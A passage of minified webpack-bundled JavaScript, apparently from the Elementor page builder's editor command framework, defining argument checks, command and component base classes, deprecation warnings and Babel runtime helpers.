T=(0,V.default)(T),(0,$.default)(C,_isNativeReflectConstruct()?Reflect.construct(T,B||[],(0,V.default)(C).constructor):T.apply(C,B))}(this,ArgsObject)).args=C,T}return(0,H.default)(ArgsObject,C),(0,W.default)(ArgsObject,[{key:"requireArgument",value:function requireArgument(C){var T=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.args;if(!Object.prototype.hasOwnProperty.call(T,C))throw Error("".concat(C," is required."))}},{key:"requireArgumentType",value:function requireArgumentType(C,T){var B=arguments.length>2&&void 0!==arguments[2]?arguments[2]:this.args;if(this.requireArgument(C,B),(0,L.default)(B[C])!==T)throw Error("".concat(C," invalid type: ").concat(T,"."))}},{key:"requireArgumentInstance",value:function requireArgumentInstance(C,T){var B=arguments.length>2&&void 0!==arguments[2]?arguments[2]:this.args;if(this.requireArgument(C,B),!(B[C]instanceof T||(0,X.default)(B[C],T)))throw Error("".concat(C," invalid instance."))}},{key:"requireArgumentConstructor",value:function requireArgumentConstructor(C,T){var B=arguments.length>2&&void 0!==arguments[2]?arguments[2]:this.args;if(this.requireArgument(C,B),B[C].constructor.toString()!==T.prototype.constructor.toString())throw Error("".concat(C," invalid constructor type."))}}],[{key:"getInstanceType",value:function getInstanceType(){return"ArgsObject"}}])}(K.default)},70751:(C,T,B)=>{"use strict";var q=B(96784);Object.defineProperty(T,"__esModule",{value:!0}),T.default=void 0;var L=q(B(39805)),U=q(B(40989)),W=q(B(29402)),$=q(B(41621));T.default=function(){function InstanceType(){var C=this;(0,L.default)(this,InstanceType);for(var T=this instanceof InstanceType?this.constructor:void 0,B=[];T.__proto__&&T.__proto__.name;)B.push(T.__proto__),T=T.__proto__;B.reverse().forEach((function(T){return C instanceof T}))}return(0,U.default)(InstanceType,null,[{key:Symbol.hasInstance,value:function value(C){var T=function _superPropGet(C,T,B,q){var L=(0,$.default)((0,W.default)(1&q?C.prototype:C),T,B);return 2&q&&"function"==typeof L?function(C){return L.apply(B,C)}:L}(InstanceType,Symbol.hasInstance,this,2)([C]);if(C&&!C.constructor.getInstanceType)return T;if(C&&(C.instanceTypes||(C.instanceTypes=[]),T||this.getInstanceType()===C.constructor.getInstanceType()&&(T=!0),T)){var B=this.getInstanceType===InstanceType.getInstanceType?"BaseInstanceType":this.getInstanceType();-1===C.instanceTypes.indexOf(B)&&C.instanceTypes.push(B)}return!T&&C&&(T=C.instanceTypes&&Array.isArray(C.instanceTypes)&&-1!==C.instanceTypes.indexOf(this.getInstanceType())),T}},{key:"getInstanceType",value:function getInstanceType(){elementorModules.ForceMethodImplementation()}}])}()},641:(C,T,B)=>{"use strict";var q=B(96784)(B(10564)),L=function Module(){var C,T=jQuery,B=arguments,L=this,U={};this.getItems=function(C,T){if(T){var B=T.split("."),q=B.splice(0,1);if(!B.length)return C[q];if(!C[q])return;return this.getItems(C[q],B.join("."))}return C},this.getSettings=function(T){return this.getItems(C,T)},this.setSettings=function(B,U,W){if(W||(W=C),"object"===(0,q.default)(B))return T.extend(W,B),L;var $=B.split("."),V=$.splice(0,1);return $.length?(W[V]||(W[V]={}),L.setSettings($.join("."),U,W[V])):(W[V]=U,L)},this.getErrorMessage=function(C,T){var B;if("forceMethodImplementation"===C)B="The method '".concat(T,"' must to be implemented in the inheritor child.");else B="An error occurs";return B},this.forceMethodImplementation=function(C){throw new Error(this.getErrorMessage("forceMethodImplementation",C))},this.on=function(C,B){return"object"===(0,q.default)(C)?(T.each(C,(function(C){L.on(C,this)})),L):(C.split(" ").forEach((function(C){U[C]||(U[C]=[]),U[C].push(B)})),L)},this.off=function(C,T){if(!U[C])return L;if(!T)return delete U[C],L;var B=U[C].indexOf(T);return-1!==B&&(delete U[C][B],U[C]=U[C].filter((function(C){return C}))),L},this.trigger=function(C){var B="on"+C[0].toUpperCase()+C.slice(1),q=Array.prototype.slice.call(arguments,1);L[B]&&L[B].apply(L,q);var W=U[C];return W?(T.each(W,(function(C,T){T.apply(L,q)})),L):L},function init(){L.__construct.apply(L,B),function ensureClosureMethods(){T.each(L,(function(C){var T=L[C];"function"==typeof T&&(L[C]=function(){return T.apply(L,arguments)})}))}(),function initSettings(){C=L.getDefaultSettings();var q=B[0];q&&T.extend(!0,C,q)}(),L.trigger("init")}()};L.prototype.__construct=function(){},L.prototype.getDefaultSettings=function(){return{}},L.prototype.getConstructorID=function(){return this.constructor.name},L.extend=function(C){var T=jQuery,B=this,q=function child(){return B.apply(this,arguments)};return T.extend(q,B),(q.prototype=Object.create(T.extend({},B.prototype,C))).constructor=q,q.__super__=B.prototype,q},C.exports=L},83535:(C,T,B)=>{"use strict";var q=B(96784);Object.defineProperty(T,"__esModule",{value:!0}),T.default=void 0;var L=q(B(39805)),U=q(B(40989)),W=q(B(15118)),$=q(B(29402)),V=q(B(87861)),H=q(B(79958)),K=q(B(92766));function _isNativeReflectConstruct(){try{var C=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(C){}return(_isNativeReflectConstruct=function _isNativeReflectConstruct(){return!!C})()}T.default=function(C){function CommandBase(){return(0,L.default)(this,CommandBase),function _callSuper(C,T,B){return T=(0,$.default)(T),(0,W.default)(C,_isNativeReflectConstruct()?Reflect.construct(T,B||[],(0,$.default)(C).constructor):T.apply(C,B))}(this,CommandBase,arguments)}return(0,V.default)(CommandBase,C),(0,U.default)(CommandBase,[{key:"onBeforeRun",value:function onBeforeRun(){var C=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};$e.hooks.runUIBefore(this.command,C)}},{key:"onAfterRun",value:function onAfterRun(){var C=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},T=arguments.length>1?arguments[1]:void 0;$e.hooks.runUIAfter(this.command,C,T)}},{key:"onBeforeApply",value:function onBeforeApply(){var C=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};$e.hooks.runDataDependency(this.command,C)}},{key:"onAfterApply",value:function onAfterApply(){var C=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},T=arguments.length>1?arguments[1]:void 0;return $e.hooks.runDataAfter(this.command,C,T)}},{key:"onCatchApply",value:function onCatchApply(C){this.runCatchHooks(C)}},{key:"runCatchHooks",value:function runCatchHooks(C){$e.hooks.runDataCatch(this.command,this.args,C),$e.hooks.runUICatch(this.command,this.args,C)}},{key:"requireContainer",value:function requireContainer(){var C=this,T=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.args;if(K.default.deprecated("requireContainer()","3.7.0","Extend `$e.modules.editor.CommandContainerBase` or `$e.modules.editor.CommandContainerInternalBase`"),!T.container&&!T.containers)throw Error("container or containers are required.");if(T.container&&T.containers)throw Error("container and containers cannot go together please select one of them.");(T.containers||[T.container]).forEach((function(T){C.requireArgumentInstance("container",elementorModules.editor.Container,{container:T})}))}}],[{key:"getInstanceType",value:function getInstanceType(){return"CommandBase"}}])}(H.default)},41019:(C,T,B)=>{"use strict";var q=B(96784);Object.defineProperty(T,"__esModule",{value:!0}),T.default=void 0;var L=q(B(39805)),U=q(B(40989)),W=q(B(15118)),$=q(B(29402)),V=q(B(87861)),H=q(B(83535));function _isNativeReflectConstruct(){try{var C=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(C){}return(_isNativeReflectConstruct=function _isNativeReflectConstruct(){return!!C})()}T.default=function(C){function CommandCallbackBase(){return(0,L.default)(this,CommandCallbackBase),function _callSuper(C,T,B){return T=(0,$.default)(T),(0,W.default)(C,_isNativeReflectConstruct()?Reflect.construct(T,B||[],(0,$.default)(C).constructor):T.apply(C,B))}(this,CommandCallbackBase,arguments)}return(0,V.default)(CommandCallbackBase,C),(0,U.default)(CommandCallbackBase,[{key:"apply",value:function apply(){var C=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return this.constructor.getCallback()(C)}}],[{key:"getInstanceType",value:function getInstanceType(){return"CommandCallbackBase"}},{key:"getCallback",value:function getCallback(){return this.registerConfig.callback}}])}(H.default)},79958:(C,T,B)=>{"use strict";var q=B(96784);Object.defineProperty(T,"__esModule",{value:!0}),T.default=void 0;var L=q(B(39805)),U=q(B(40989)),W=q(B(15118)),$=q(B(29402)),V=q(B(87861)),H=q(B(85707)),K=q(B(82946)),X=q(B(92766));function _isNativeReflectConstruct(){try{var C=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(C){}return(_isNativeReflectConstruct=function _isNativeReflectConstruct(){return!!C})()}var G=T.default=function(C){function CommandInfra(){var C,T=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if((0,L.default)(this,CommandInfra),!(C=function _callSuper(C,T,B){return T=(0,$.default)(T),(0,W.default)(C,_isNativeReflectConstruct()?Reflect.construct(T,B||[],(0,$.default)(C).constructor):T.apply(C,B))}(this,CommandInfra,[T])).constructor.registerConfig)throw RangeError("Doing it wrong: Each command type should have `registerConfig`.");return C.command=C.constructor.getCommand(),C.component=C.constructor.getComponent(),C.initialize(T),T=C.args,C.validateArgs(T),C}return(0,V.default)(CommandInfra,C),(0,U.default)(CommandInfra,[{key:"currentCommand",get:function get(){return X.default.deprecated("this.currentCommand","3.7.0","this.command"),this.command}},{key:"initialize",value:function initialize(){}},{key:"validateArgs",value:function validateArgs(){}},{key:"apply",value:function apply(){elementorModules.ForceMethodImplementation()}},{key:"run",value:function run(){return this.apply(this.args)}},{key:"onBeforeRun",value:function onBeforeRun(){}},{key:"onAfterRun",value:function onAfterRun(){}},{key:"onBeforeApply",value:function onBeforeApply(){}},{key:"onAfterApply",value:function onAfterApply(){}},{key:"onCatchApply",value:function onCatchApply(C){}}],[{key:"getInstanceType",value:function getInstanceType(){return"CommandInfra"}},{key:"getInfo",value:function getInfo(){return{}}},{key:"getCommand",value:function getCommand(){return this.registerConfig.command}},{key:"getComponent",value:function getComponent(){return this.registerConfig.component}},{key:"setRegisterConfig",value:function setRegisterConfig(C){this.registerConfig=Object.freeze(C)}}])}(K.default);(0,H.default)(G,"registerConfig",null)},40397:(C,T,B)=>{"use strict";var q=B(96784);Object.defineProperty(T,"__esModule",{value:!0}),T.default=void 0;var L=q(B(85707)),U=q(B(18821)),W=q(B(39805)),$=q(B(40989)),V=q(B(15118)),H=q(B(29402)),K=q(B(87861)),X=q(B(41019)),G=B(51115),J=q(B(641)),Q=q(B(13452)),Z=q(B(92766));function ownKeys(C,T){var B=Object.keys(C);if(Object.getOwnPropertySymbols){var q=Object.getOwnPropertySymbols(C);T&&(q=q.filter((function(T){return Object.getOwnPropertyDescriptor(C,T).enumerable}))),B.push.apply(B,q)}return B}function _objectSpread(C){for(var T=1;T<arguments.length;T++){var B=null!=arguments[T]?arguments[T]:{};T%2?ownKeys(Object(B),!0).forEach((function(T){(0,L.default)(C,T,B[T])})):Object.getOwnPropertyDescriptors?Object.defineProperties(C,Object.getOwnPropertyDescriptors(B)):ownKeys(Object(B)).forEach((function(T){Object.defineProperty(C,T,Object.getOwnPropertyDescriptor(B,T))}))}return C}function _callSuper(C,T,B){return T=(0,H.default)(T),(0,V.default)(C,_isNativeReflectConstruct()?Reflect.construct(T,B||[],(0,H.default)(C).constructor):T.apply(C,B))}function _isNativeReflectConstruct(){try{var C=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(C){}return(_isNativeReflectConstruct=function _isNativeReflectConstruct(){return!!C})()}T.default=function(C){function ComponentBase(){return(0,W.default)(this,ComponentBase),_callSuper(this,ComponentBase,arguments)}return(0,K.default)(ComponentBase,C),(0,$.default)(ComponentBase,[{key:"__construct",value:function __construct(){var C=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};C.manager&&(this.manager=C.manager),this.commands=this.defaultCommands(),this.commandsInternal=this.defaultCommandsInternal(),this.hooks=this.defaultHooks(),this.routes=this.defaultRoutes(),this.tabs=this.defaultTabs(),this.shortcuts=this.defaultShortcuts(),this.utils=this.defaultUtils(),this.data=this.defaultData(),this.uiStates=this.defaultUiStates(),this.states=this.defaultStates(),this.defaultRoute="",this.currentTab=""}},{key:"registerAPI",value:function registerAPI(){var C=this;Object.entries(this.getTabs()).forEach((function(T){return C.registerTabRoute(T[0])})),Object.entries(this.getRoutes()).forEach((function(T){var B=(0,U.default)(T,2),q=B[0],L=B[1];return C.registerRoute(q,L)})),Object.entries(this.getCommands()).forEach((function(T){var B=(0,U.default)(T,2),q=B[0],L=B[1];return C.registerCommand(q,L)})),Object.entries(this.getCommandsInternal()).forEach((function(T){var B=(0,U.default)(T,2),q=B[0],L=B[1];return C.registerCommandInternal(q,L)})),Object.values(this.getHooks()).forEach((function(T){return C.registerHook(T)})),Object.entries(this.getData()).forEach((function(T){var B=(0,U.default)(T,2),q=B[0],L=B[1];return C.registerData(q,L)})),Object.values(this.getUiStates()).forEach((function(T){return C.registerUiState(T)})),Object.entries(this.getStates()).forEach((function(T){var B=(0,U.default)(T,2),q=B[0],L=B[1];return C.registerState(q,L)}))}},{key:"getNamespace",value:function getNamespace(){(0,Q.default)()}},{key:"getRootContainer",value:function getRootContainer(){return Z.default.deprecated("getRootContainer()","3.7.0","getServiceName()"),this.getServiceName()}},{key:"getServiceName",value:function getServiceName(){return this.getNamespace().split("/")[0]}},{key:"store",get:function get(){return $e.store.get(this.getNamespace())}},{key:"defaultTabs",value:function defaultTabs(){return{}}},{key:"defaultRoutes",value:function defaultRoutes(){return{}}},{key:"defaultCommands",value:function defaultCommands(){return{}}},{key:"defaultCommandsInternal",value:function defaultCommandsInternal(){return{}}},{key:"defaultHooks",value:function defaultHooks(){return{}}},{key:"defaultUiStates",value:function defaultUiStates(){return{}}},{key:"defaultStates",value:function defaultStates(){return{}}},{key:"defaultShortcuts",value:function defaultShortcuts(){return{}}},{key:"defaultUtils",value:function defaultUtils(){return{}}},{key:"defaultData",value:function defaultData(){return{}}},{key:"getCommands",value:function getCommands(){return this.commands}},{key:"getCommandsInternal",value:function getCommandsInternal(){return this.commandsInternal}},{key:"getHooks",value:function getHooks(){return this.hooks}},{key:"getUiStates",value:function getUiStates(){return this.uiStates}},{key:"getStates",value:function getStates(){return this.states}},{key:"getRoutes",value:function getRoutes(){return this.routes}},{key:"getTabs",value:function getTabs(){return this.tabs}},{key:"getShortcuts",value:function getShortcuts(){return this.shortcuts}},{key:"getData",value:function getData(){return this.data}},{key:"registerCommand",value:function registerCommand(C,T){var B;switch(arguments.length>2&&void 0!==arguments[2]?arguments[2]:"default"){case"default":B=$e.commands;break;case"internal":B=$e.commandsInternal;break;case"data":B=$e.data;break;default:throw new Error("Invalid commands type: '".concat(C,"'"))}var q=this.getNamespace()+"/"+C,L={command:q,component:this};!!T.getInstanceType&&T.getInstanceType()||($e.devTools&&$e.devTools.log.warn("Attach command-callback-base, on command: '".concat(q,"', context is unknown type.")),L.callback=T,T=function(C){function context(){return(0,W.default)(this,context),_callSuper(this,context,arguments)}return(0,K.default)(context,C),(0,$.default)(context)}(X.default)),T.setRegisterConfig(L),B.register(this,C,T)}},{key:"registerHook",value:function registerHook(C){return C.register()}},{key:"registerCommandInternal",value:function registerCommandInternal(C,T){this.registerCommand(C,T,"internal")}},{key:"registerUiState",value:function registerUiState(C){$e.uiStates.register(C)}},{key:"registerState",value:function registerState(C,T){C=this.getNamespace()+(C?"/".concat(C):"");var B=(0,G.createSlice)(_objectSpread(_objectSpread({},T),{},{name:C}));$e.store.register(C,B)}},{key:"registerRoute",value:function registerRoute(C,T){$e.routes.register(this,C,T)}},{key:"registerData",value:function registerData(C,T){this.registerCommand(C,T,"data")}},{key:"unregisterRoute",value:function unregisterRoute(C){$e.routes.unregister(this,C)}},{key:"registerTabRoute",value:function registerTabRoute(C){var T=this;this.registerRoute(C,(function(B){return T.activateTab(C,B)}))}},{key:"dependency",value:function dependency(){return!0}},{key:"open",value:function open(){return!0}},{key:"close",value:function close(){return!!this.isOpen&&(this.isOpen=!1,this.inactivate(),$e.routes.clearCurrent(this.getNamespace()),$e.routes.clearHistory(this.getServiceName()),!0)}},{key:"activate",value:function activate(){$e.components.activate(this.getNamespace())}},{key:"inactivate",value:function inactivate(){$e.components.inactivate(this.getNamespace())}},{key:"isActive",value:function isActive(){return $e.components.isActive(this.getNamespace())}},{key:"onRoute",value:function onRoute(C){this.toggleRouteClass(C,!0),this.toggleHistoryClass(),this.activate(),this.trigger("route/open",C)}},{key:"onCloseRoute",value:function onCloseRoute(C){this.toggleRouteClass(C,!1),this.inactivate(),this.trigger("route/close",C)}},{key:"setDefaultRoute",value:function setDefaultRoute(C){this.defaultRoute=this.getNamespace()+"/"+C}},{key:"getDefaultRoute",value:function getDefaultRoute(){return this.defaultRoute}},{key:"removeTab",value:function removeTab(C){delete this.tabs[C],this.unregisterRoute(C)}},{key:"hasTab",value:function hasTab(C){return!!this.tabs[C]}},{key:"addTab",value:function addTab(C,T,B){var q=this;if(this.tabs[C]=T,void 0!==B){var L={},U=Object.keys(this.tabs);U.pop(),U.splice(B,0,C),U.forEach((function(C){L[C]=q.tabs[C]})),this.tabs=L}this.registerTabRoute(C)}},{key:"getTabsWrapperSelector",value:function getTabsWrapperSelector(){return""}},{key:"getTabRoute",value:function getTabRoute(C){return this.getNamespace()+"/"+C}},{key:"renderTab",value:function renderTab(C){}},{key:"activateTab",value:function activateTab(C,T){var B=this;this.renderTab(C,T),jQuery(this.getTabsWrapperSelector()+" .elementor-component-tab").off("click").on("click",(function(C){$e.route(B.getTabRoute(C.currentTarget.dataset.tab),T)})).removeClass("elementor-active").filter('[data-tab="'+C+'"]').addClass("elementor-active")}},{key:"getActiveTabConfig",value:function getActiveTabConfig(){return this.tabs[this.currentTab]||{}}},{key:"getBodyClass",value:function getBodyClass(C){return"e-route-"+C.replace(/\//g,"-")}},{key:"normalizeCommandName",value:function normalizeCommandName(C){return C.replace(/[A-Z]/g,(function(C,T){return(T>0?"-":"")+C.toLowerCase()}))}},{key:"importCommands",value:function importCommands(C){var T=this,B={};return Object.entries(C).forEach((function(C){var q=(0,U.default)(C,2),L=q[0],W=q[1],$=T.normalizeCommandName(L);B[$]=W})),B}},{key:"importHooks",value:function importHooks(C){var T={};for(var B in C){var q=new C[B];T[q.getId()]=q}return T}},{key:"importUiStates",value:function importUiStates(C){var T=this,B={};return Object.values(C).forEach((function(C){var q=new C(T);B[q.getId()]=q})),B}},{key:"setUiState",value:function setUiState(C,T){$e.uiStates.set("".concat(this.getNamespace(),"/").concat(C),T)}},{key:"toggleRouteClass",value:function toggleRouteClass(C,T){document.body.classList.toggle(this.getBodyClass(C),T)}},{key:"toggleHistoryClass",value:function toggleHistoryClass(){document.body.classList.toggle("e-routes-has-history",!!$e.routes.getHistory(this.getServiceName()).length)}}])}(J.default)},88413:(C,T,B)=>{"use strict";var q=B(96784);Object.defineProperty(T,"__esModule",{value:!0}),T.default=void 0;var L=q(B(39805)),U=q(B(40989));T.default=function(){return(0,U.default)((function Console(){(0,L.default)(this,Console)}),null,[{key:"error",value:function error(C){$e.devTools&&$e.devTools.log.error(C),C instanceof $e.modules.HookBreak||console.error(C)}},{key:"warn",value:function warn(){for(var C,T='font-size: 12px; background-image: url("'.concat(elementorWebCliConfig.urls.assets,'images/logo-icon.png"); background-repeat: no-repeat; background-size: contain;'),B=arguments.length,q=new Array(B),L=0;L<B;L++)q[L]=arguments[L];q.unshift("%c  %c",T,""),(C=console).warn.apply(C,q)}}])}()},92766:(C,T,B)=>{"use strict";var q=B(96784);Object.defineProperty(T,"__esModule",{value:!0}),T.default=void 0;var L=q(B(18821)),U=q(B(39805)),W=q(B(40989)),$=q(B(88413)),V=function deprecatedMessage(C,T,B,q){var L="`".concat(T,"` is ").concat(C," deprecated since ").concat(B);q&&(L+=" - Use `".concat(q,"` instead")),$.default.warn(L)};T.default=function(){return(0,W.default)((function Deprecation(){(0,U.default)(this,Deprecation)}),null,[{key:"deprecated",value:function deprecated(C,T,B){this.isHardDeprecated(T)?function hardDeprecated(C,T,B){V("hard",C,T,B)}(C,T,B):function softDeprecated(C,T,B){elementorWebCliConfig.isDebug&&V("soft",C,T,B)}(C,T,B)}},{key:"parseVersion",value:function parseVersion(C){var T=C.split(".");if(T.length<3||T.length>4)throw new RangeError("Invalid Semantic Version string provided");var B=(0,L.default)(T,4),q=B[0],U=B[1],W=B[2],$=B[3],V=void 0===$?"":$;return{major1:parseInt(q),major2:parseInt(U),minor:parseInt(W),build:V}}},{key:"getTotalMajor",value:function getTotalMajor(C){var T=parseInt("".concat(C.major1).concat(C.major2,"0"));return T=Number((T/10).toFixed(0)),C.major2>9&&(T=C.major2-9),T}},{key:"compareVersion",value:function compareVersion(C,T){var B=this;return[this.parseVersion(C),this.parseVersion(T)].map((function(C){return B.getTotalMajor(C)})).reduce((function(C,T){return C-T}))}},{key:"isSoftDeprecated",value:function isSoftDeprecated(C){return this.compareVersion(C,elementorWebCliConfig.version)<=4}},{key:"isHardDeprecated",value:function isHardDeprecated(C){var T=this.compareVersion(C,elementorWebCliConfig.version);return T<0||T>=8}}])}()},13452:(C,T,B)=>{"use strict";var q=B(96784);Object.defineProperty(T,"__esModule",{value:!0}),T.default=T.ForceMethodImplementation=void 0;var L=q(B(40989)),U=q(B(39805)),W=q(B(15118)),$=q(B(29402)),V=q(B(87861)),H=q(B(22835));function _isNativeReflectConstruct(){try{var C=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(C){}return(_isNativeReflectConstruct=function _isNativeReflectConstruct(){return!!C})()}var K=T.ForceMethodImplementation=function(C){function ForceMethodImplementation(){var C,T=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return(0,U.default)(this,ForceMethodImplementation),C=function _callSuper(C,T,B){return T=(0,$.default)(T),(0,W.default)(C,_isNativeReflectConstruct()?Reflect.construct(T,B||[],(0,$.default)(C).constructor):T.apply(C,B))}(this,ForceMethodImplementation,["".concat(T.isStatic?"static ":"").concat(T.fullName,"() should be implemented, please provide '").concat(T.functionName||T.fullName,"' functionality.")]),Error.captureStackTrace(C,ForceMethodImplementation),C}return(0,V.default)(ForceMethodImplementation,C),(0,L.default)(ForceMethodImplementation)}((0,H.default)(Error));T.default=function _default(){var C=Error().stack.split("\n")[2].trim(),T=C.startsWith("at new")?"constructor":C.split(" ")[1],B={};if(B.functionName=T,B.fullName=T,B.functionName.includes(".")){var q=B.functionName.split(".");B.className=q[0],B.functionName=q[1]}else B.isStatic=!0;throw new K(B)}},78113:C=>{C.exports=function _arrayLikeToArray(C,T){(null==T||T>C.length)&&(T=C.length);for(var B=0,q=Array(T);B<T;B++)q[B]=C[B];return q},C.exports.__esModule=!0,C.exports.default=C.exports},70569:C=>{C.exports=function _arrayWithHoles(C){if(Array.isArray(C))return C},C.exports.__esModule=!0,C.exports.default=C.exports},36417:C=>{C.exports=function _assertThisInitialized(C){if(void 0===C)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return C},C.exports.__esModule=!0,C.exports.default=C.exports},39805:C=>{C.exports=function _classCallCheck(C,T){if(!(C instanceof T))throw new TypeError("Cannot call a class as a function")},C.exports.__esModule=!0,C.exports.default=C.exports},86060:(C,T,B)=>{var q=B(33448),L=B(91270);C.exports=function _construct(C,T,B){if(q())return Reflect.construct.apply(null,arguments);var U=[null];U.push.apply(U,T);var W=new(C.bind.apply(C,U));return B&&L(W,B.prototype),W},C.exports.__esModule=!0,C.exports.default=C.exports},40989:(C,T,B)=>{var q=B(45498);function _defineProperties(C,T){for(var B=0;B<T.length;B++){var L=T[B];L.enumerable=L.enumerable||!1,L.configurable=!0,"value"in L&&(L.writable=!0),Object.defineProperty(C,q(L.key),L)}}C.exports=function _createClass(C,T,B){return T&&_defineProperties(C.prototype,T),B&&_defineProperties(C,B),Object.defineProperty(C,"prototype",{writable:!1}),C},C.exports.__esModule=!0,C.exports.default=C.exports},85707:(C,T,B)=>{var q=B(45498);C.exports=function _defineProperty(C,T,B){return(T=q(T))in C?Object.defineProperty(C,T,{value:B,enumerable:!0,configurable:!0,writable:!0}):C[T]=B,C},C.exports.__esModule=!0,C.exports.default=C.exports},41621:(C,T,B)=>{var q=B(14718);function _get(){return C.exports=_get="undefined"!=typeof Reflect&&Reflect.get?Reflect.get.bind():function(C,T,B){var L=q(C,T);if(L){var U=Object.getOwnPropertyDescriptor(L,T);return U.get?U.get.call(arguments.length<3?C:B):U.value}},C.exports.__esModule=!0,C.exports.default=C.exports,_get.apply(null,arguments)}C.exports=_get,C.exports.__esModule=!0,C.exports.default=C.exports},29402:C=>{function _getPrototypeOf(T){return C.exports=_getPrototypeOf=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(C){return C.__proto__||Object.getPrototypeOf(C)},C.exports.__esModule=!0,C.exports.default=C.exports,_getPrototypeOf(T)}C.exports=_getPrototypeOf,C.exports.__esModule=!0,C.exports.default=C.exports},87861:(C,T,B)=>{var q=B(91270);C.exports=function _inherits(C,T){if("function"!=typeof T&&null!==T)throw new TypeError("Super expression must either be null or a function");C.prototype=Object.create(T&&T.prototype,{constructor:{value:C,writable:!0,configurable:!0}}),Object.defineProperty(C,"prototype",{writable:!1}),T&&q(C,T)},C.exports.__esModule=!0,C.exports.default=C.exports},96784:C=>{C.exports=function _interopRequireDefault(C){return C&&C.__esModule?C:{default:C}},C.exports.__esModule=!0,C.exports.default=C.exports},65826:C=>{C.exports=function _isNativeFunction(C){try{return-1!==Function.toString.call(C).indexOf("[native code]")}catch(T){return"function"==typeof C}},C.exports.__esModule=!0,C.exports.default=C.exports},33448:C=>{function _isNativeReflectConstruct(){try{var T=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(T){}return(C.exports=_isNativeReflectConstruct=function _isNativeReflectConstruct(){return!!T},C.exports.__esModule=!0,C.exports.default=C.exports)()}C.exports=_isNativeReflectConstruct,C.exports.__esModule=!0,C.exports.default=C.exports},65474:C=>{C.exports=function _iterableToArrayLimit(C,T){var B=null==C?null:"undefined"!=typeof Symbol&&C[Symbol.iterator]||C["@@iterator"];if(null!=B){var q,L,U,W,$=[],V=!0,H=!1;try{if(U=(B=B.call(C)).next,0===T){if(Object(B)!==B)return;V=!1}else for(;!(V=(q=U.call(B)).done)&&($.push(q.value),$.length!==T);V=!0);}catch(C){H=!0,L=C}finally{try{if(!V&&null!=B.return&&(W=B.return(),Object(W)!==W))return}finally{if(H)throw L}}return $}},C.exports.__esModule=!0,C.exports.default=C.exports},11018:C=>{C.exports=function _nonIterableRest(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")},C.exports.__esModule=!0,C.exports.default=C.exports},15118:(C,T,B)=>{var q=B(10564).default,L=B(36417);C.exports=function _possibleConstructorReturn(C,T){if(T&&("object"==q(T)||"function"==typeof T))return T;if(void 0!==T)throw new TypeError("Derived constructors may only return object or undefined");return L(C)},C.exports.__esModule=!0,C.exports.default=C.exports},91270:C=>{function _setPrototypeOf(T,B){return C.exports=_setPrototypeOf=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(C,T){return C.__proto__=T,C},C.exports.__esModule=!0,C.exports.default=C.exports,_setPrototypeOf(T,B)}C.exports=_setPrototypeOf,C.exports.__esModule=!0,C.exports.default=C.exports},18821:(C,T,B)=>{var q=B(70569),L=B(65474),U=B(37744),W=B(11018);C.exports=function _slicedToArray(C,T){return q(C)||L(C,T)||U(C,T)||W()},C.exports.__esModule=!0,C.exports.default=C.exports},14718:(C,T,B)=>{var q=B(29402);C.exports=function _superPropBase(C,T){for(;!{}.hasOwnProperty.call(C,T)&&null!==(C=q(C)););return C},C.exports.__esModule=!0,C.exports.default=C.exports},11327:(C,T,B)=>{var q=B(10564).default;C.exports=function toPrimitive(C,T){if("object"!=q(C)||!C)return C;var B=C[Symbol.toPrimitive];if(void 0!==B){var L=B.call(C,T||"default");if("object"!=q(L))return L;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===T?String:Number)(C)},C.exports.__esModule=!0,C.exports.default=C.exports},45498:(C,T,B)=>{var q=B(10564).default,L=B(11327);C.exports=function toPropertyKey(C){var T=L(C,"string");return"symbol"==q(T)?T:T+""},C.exports.__esModule=!0,C.exports.default=C.exports},10564:C=>{function _typeof(T){return C.exports=_typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(C){return typeof C}:function(C){return C&&"function"==typeof Symbol&&C.constructor===Symbol&&C!==Symbol.prototype?"symbol":typeof C},C.exports.__esModule=!0,C.exports.default=C.exports,_typeof(T)}C.exports=_typeof,C.exports.__esModule=!0,C.exports.default=C.exports},37744:(C,T,B)=>{var q=B(78113);C.exports=function _unsupportedIterableToArray(C,T){if(C){if("string"==typeof C)return q(C,T);var B={}.toString.call(C).slice(8,-1);return"Object"===B&&C.constructor&&(B=C.constructor.name),"Map"===B||"Set"===B?Array.from(C):"Arguments"===B||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(B)?q(C,T):void 0}},C.exports.__esModule=!0,C.exports.default=C.exports},22835:(C,T,B)=>{var q=B(29402),L=B(91270),U=B(65826),W=B(86060);function _wrapNativeSuper(T){var B="function"==typeof Map?new Map:void 0;return C.exports=_wrapNativeSuper=function _wrapNativeSuper(C){if(null===C||!U(C))return C;if("function"!=typeof C)throw new TypeError("Super expression must either be null or a function");if(void 0!==B){if(B.has(C))return B.get(C);B.set(C,Wrapper)}function Wrapper(){return W(C,arguments,q(this).constructor)}return Wrapper.prototype=Object.create(C.prototype,{constructor:{value:Wrapper,enumerable:!1,writable:!0,configurable:!0}}),L(Wrapper,C)},C.exports.__esModule=!0,C.exports.default=C.exports,_wrapNativeSuper(T)}C.exports=_wrapNativeSuper,C.exports.__esModule=!0,C.exports.default=C.exports}},T={};function __webpack_require__(B){var q=T[B];if(void 0!==q)return q.exports;var L=T[B]={exports:{}};return 